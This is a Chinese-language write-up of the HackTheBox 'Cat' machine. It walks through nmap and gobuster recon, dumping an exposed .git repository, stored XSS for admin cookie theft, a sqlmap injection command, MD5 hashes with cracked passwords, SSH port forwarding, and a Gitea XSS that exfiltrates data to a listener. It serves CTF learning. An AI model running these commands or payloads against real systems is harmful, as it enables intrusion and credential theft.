> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Cat HackTheBox 解题记录 {% embed url="" %} {% hint style="warning" %} **技能：** * 目录模糊测试（.git 文件） * 源代码分析（Git 仓库转储） * 已存储 XSS 利用与会话劫持 * 使用 sqlmap 进行 SQL 注入（SQLite） * 密码哈希破解 * 通过 SSH 端口转发 * Gitea（v1.22.0）利用——存储型 XSS * 通过 XSS 载荷外泄敏感数据 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 端口 80 - HTTP

通过访问 `http://cat.htb` 站点，你会找到一个注册表单。

我们还注意到一个投票功能。

**目录模糊测试** 我们运行 `gobuster` 以发现隐藏路径： ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

这揭示了几个有趣的文件，包括一个 `.git` 目录。

**Git 仓库转储** 我们使用 `git-dumper` 以获取仓库内容： ```bash git-dumper http://cat.htb/.git git ```

通过检查源代码，我们发现一个 **SQL 漏洞** 以及一个可能的 **存储型 XSS**.

## XSS 漏洞该应用程序接受 *username* 和 *email* 字段而没有进行适当过滤。这允许注入恶意脚本。

**XSS 载荷** 我们使用以下名称创建一个用户： ```javascript ``` **接收管理员 cookie** 我们在 8081 端口监听： ```bash python -m http.server 8081 ```

一旦捕获到 cookie，我们就获得了管理员会话：

我们将自己的会话 cookie 修改为管理员的并访问 **管理控制台**.

## SQL 注入（SQLite）

拥有管理员权限后，启动 `sqlmap` 在存在漏洞的表单上 {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**哈希恢复** 我们获取到用户的 **密码哈希**。以下是一些示例： ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **密码破解** 使用 [CrackStation](https://crackstation.net/)，我们成功识别出用户的密码 `rosa`: {% embed url="" %}

* **username** ：rosa * **密码** ：soyunaprincesarosa 使用获取到的凭据建立 SSH 连接： ```bash ssh rosa@cat.htb ```

### 横向转移到用户 Axel #### LinPEAS 枚举： ```bash ./linpeas.sh ``` {% embed url="" %} Rosa 在 `adm` 组中，可访问： ```bash cat /var/log/apache2/access.log | grep "axel" ```

找到的凭据： * 用户名：axel * 密码：aNdZwgC4tI9gnVXv/\_e3Q

### user.txt 标志 :)

## 权限提升 ### 发现内部端口： ```bash netstat -tuln ``` * **Node.js** （3000 端口） * **SMTP** (587, 25) 已识别的服务

#### 端口转发 ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Gitea v1.22.0 中的 XSS 漏洞在 `http://localhost:3000` -> **Gitea** 可访问。

使用 Axel 的凭据登录。

已知的 XSS 漏洞。

我们创建一个描述包含以下内容的项目： ```bash XSS test ```

* 结果：

### 通过 LinPEAS 截获的邮件

邮件内容： * jobert\@localhost 必须检查 Gitea 仓库

我们发送一个包含外泄脚本的 XSS 链接，该脚本读取 `index.php` Gitea 仓库页面的内容，将其编码为 Base64，然后发送到我们的 Web 服务器 {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### 通过我们的 Web 服务器 ```bash python -m http.server 8080 ```

#### 外泄内容（Base64 解码后）： ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### 提权到 root root 用户存在凭据复用 ```bash su root ```

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.